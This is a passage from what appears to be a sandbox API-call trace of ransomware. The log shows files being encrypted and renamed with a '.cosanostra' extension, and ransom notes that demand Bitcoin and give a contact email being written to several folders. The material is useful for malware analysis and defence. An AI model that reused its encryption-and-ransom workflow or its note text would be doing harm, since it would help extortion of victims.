dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.623] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfab0 | out: pbBuffer=0x2abfab0) returned 1 [0081.623] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfaa8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfaa8*=0x30) returned 1 [0081.623] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile35.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile35.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.624] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfab0 | out: pbBuffer=0x2abfab0) returned 1 [0081.624] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfaa8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfaa8*=0x30) returned 1 [0081.624] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile34.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile34.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.624] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfaa8 | out: pbBuffer=0x2abfaa8) returned 1 [0081.624] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfaa0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfaa0*=0x30) returned 1 [0081.624] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile33.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile33.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.625] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfaa8 | out: pbBuffer=0x2abfaa8) returned 1 [0081.625] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfaa0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfaa0*=0x30) returned 1 [0081.625] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile32.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile32.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.625] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfaa0 | out: pbBuffer=0x2abfaa0) returned 1 [0081.625] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfa98*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfa98*=0x30) returned 1 [0081.625] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile31.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile31.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.625] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfaa0 | out: pbBuffer=0x2abfaa0) returned 1 [0081.626] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfa98*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfa98*=0x30) returned 1 [0081.626] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile30.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile30.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.626] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfa98 | out: pbBuffer=0x2abfa98) returned 1 [0081.626] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfa90*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfa90*=0x30) returned 1 [0081.626] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile29.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile29.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.627] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfa98 | out: pbBuffer=0x2abfa98) returned 1 [0081.627] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfa90*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfa90*=0x30) returned 1 [0081.627] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile28.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile28.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.627] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfa90 | out: pbBuffer=0x2abfa90) returned 1 [0081.627] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfa88*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfa88*=0x30) returned 1 [0081.627] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile27.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile27.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.627] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfa90 | out: pbBuffer=0x2abfa90) returned 1 [0081.627] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfa88*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfa88*=0x30) returned 1 [0081.627] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile26.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile26.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.627] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfa88 | out: pbBuffer=0x2abfa88) returned 1 [0081.627] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfa80*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfa80*=0x30) returned 1 [0081.627] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile25.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile25.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.628] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfa88 | out: pbBuffer=0x2abfa88) returned 1 [0081.628] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfa80*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfa80*=0x30) returned 1 [0081.628] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile24.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile24.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.628] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfa80 | out: pbBuffer=0x2abfa80) returned 1 [0081.628] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfa78*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfa78*=0x30) returned 1 [0081.628] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile23.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile23.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.628] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfa80 | out: pbBuffer=0x2abfa80) returned 1 [0081.629] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfa78*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfa78*=0x30) returned 1 [0081.629] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile22.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile22.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.629] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfa78 | out: pbBuffer=0x2abfa78) returned 1 [0081.629] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfa70*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfa70*=0x30) returned 1 [0081.629] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile21.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile21.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.629] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfa78 | out: pbBuffer=0x2abfa78) returned 1 [0081.629] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfa70*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfa70*=0x30) returned 1 [0081.630] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile20.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile20.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.630] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfa70 | out: pbBuffer=0x2abfa70) returned 1 [0081.630] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfa68*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfa68*=0x30) returned 1 [0081.630] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile19.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile19.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.630] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfa70 | out: pbBuffer=0x2abfa70) returned 1 [0081.630] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfa68*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfa68*=0x30) returned 1 [0081.630] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile18.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile18.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.630] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfa68 | out: pbBuffer=0x2abfa68) returned 1 [0081.630] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfa60*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfa60*=0x30) returned 1 [0081.630] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile17.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile17.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.631] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfa68 | out: pbBuffer=0x2abfa68) returned 1 [0081.631] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfa60*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfa60*=0x30) returned 1 [0081.631] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile16.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile16.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.631] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfa60 | out: pbBuffer=0x2abfa60) returned 1 [0081.631] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfa58*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfa58*=0x30) returned 1 [0081.631] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile15.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile15.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.631] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfa60 | out: pbBuffer=0x2abfa60) returned 1 [0081.631] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfa58*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfa58*=0x30) returned 1 [0081.631] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile14.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile14.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.632] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfa58 | out: pbBuffer=0x2abfa58) returned 1 [0081.632] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfa50*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfa50*=0x30) returned 1 [0081.632] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile13.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile13.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.632] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfa58 | out: pbBuffer=0x2abfa58) returned 1 [0081.632] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfa50*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfa50*=0x30) returned 1 [0081.632] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile12.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile12.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.633] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfa50 | out: pbBuffer=0x2abfa50) returned 1 [0081.633] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfa48*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfa48*=0x30) returned 1 [0081.633] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile11.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile11.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.633] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfa50 | out: pbBuffer=0x2abfa50) returned 1 [0081.633] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfa48*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfa48*=0x30) returned 1 [0081.633] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile10.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.633] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfa48 | out: pbBuffer=0x2abfa48) returned 1 [0081.633] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfa40*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfa40*=0x30) returned 1 [0081.633] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat" (normalized: "c:\\programdata\\microsoft\\user account pictures\\5p5nrgjn0js halpmcxz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0081.634] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat") returned 75 [0081.634] StrStrW (lpFirst="5p5NrGJn0jS HALPmcxz.dat", lpSrch=".txt") returned 0x0 [0081.634] ReadFile (in: hFile=0x154, lpBuffer=0x287138, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x2abfa04, lpOverlapped=0x0 | out: lpBuffer=0x287138*, lpNumberOfBytesRead=0x2abfa04*=0x0, lpOverlapped=0x0) returned 1 [0081.634] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.634] WriteFile (in: hFile=0x154, lpBuffer=0x287138*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2abfa04, lpOverlapped=0x0 | out: lpBuffer=0x287138*, lpNumberOfBytesWritten=0x2abfa04*=0x0, lpOverlapped=0x0) returned 1 [0081.634] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.634] WriteFile (in: hFile=0x154, lpBuffer=0x2abfa44*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abfa04, lpOverlapped=0x0 | out: lpBuffer=0x2abfa44*, lpNumberOfBytesWritten=0x2abfa04*=0x4, lpOverlapped=0x0) returned 1 [0081.635] WriteFile (in: hFile=0x154, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abfa04, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abfa04*=0x30, lpOverlapped=0x0) returned 1 [0081.635] CloseHandle (hObject=0x154) returned 1 [0081.636] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat.cosanostra") returned 86 [0081.636] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat" (normalized: "c:\\programdata\\microsoft\\user account pictures\\5p5nrgjn0js halpmcxz.dat"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat.cosanostra" (normalized: "c:\\programdata\\microsoft\\user account pictures\\5p5nrgjn0js halpmcxz.dat.cosanostra")) returned 1 [0081.637] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\search\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0081.637] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.637] WriteFile (in: hFile=0x154, lpBuffer=0x2abf8e3*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x2abfaa4, lpOverlapped=0x0 | out: lpBuffer=0x2abf8e3*, lpNumberOfBytesWritten=0x2abfaa4*=0x1bf, lpOverlapped=0x0) returned 1 [0081.638] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.638] WriteFile (in: hFile=0x154, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x2abfaa4, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x2abfaa4*=0x2ac, lpOverlapped=0x0) returned 1 [0081.638] CloseHandle (hObject=0x154) returned 1 [0081.638] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\search\\data\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0081.638] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.638] WriteFile (in: hFile=0x154, lpBuffer=0x2abf8df*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x2abfaa0, lpOverlapped=0x0 | out: lpBuffer=0x2abf8df*, lpNumberOfBytesWritten=0x2abfaa0*=0x1bf, lpOverlapped=0x0) returned 1 [0081.639] lstrlenA 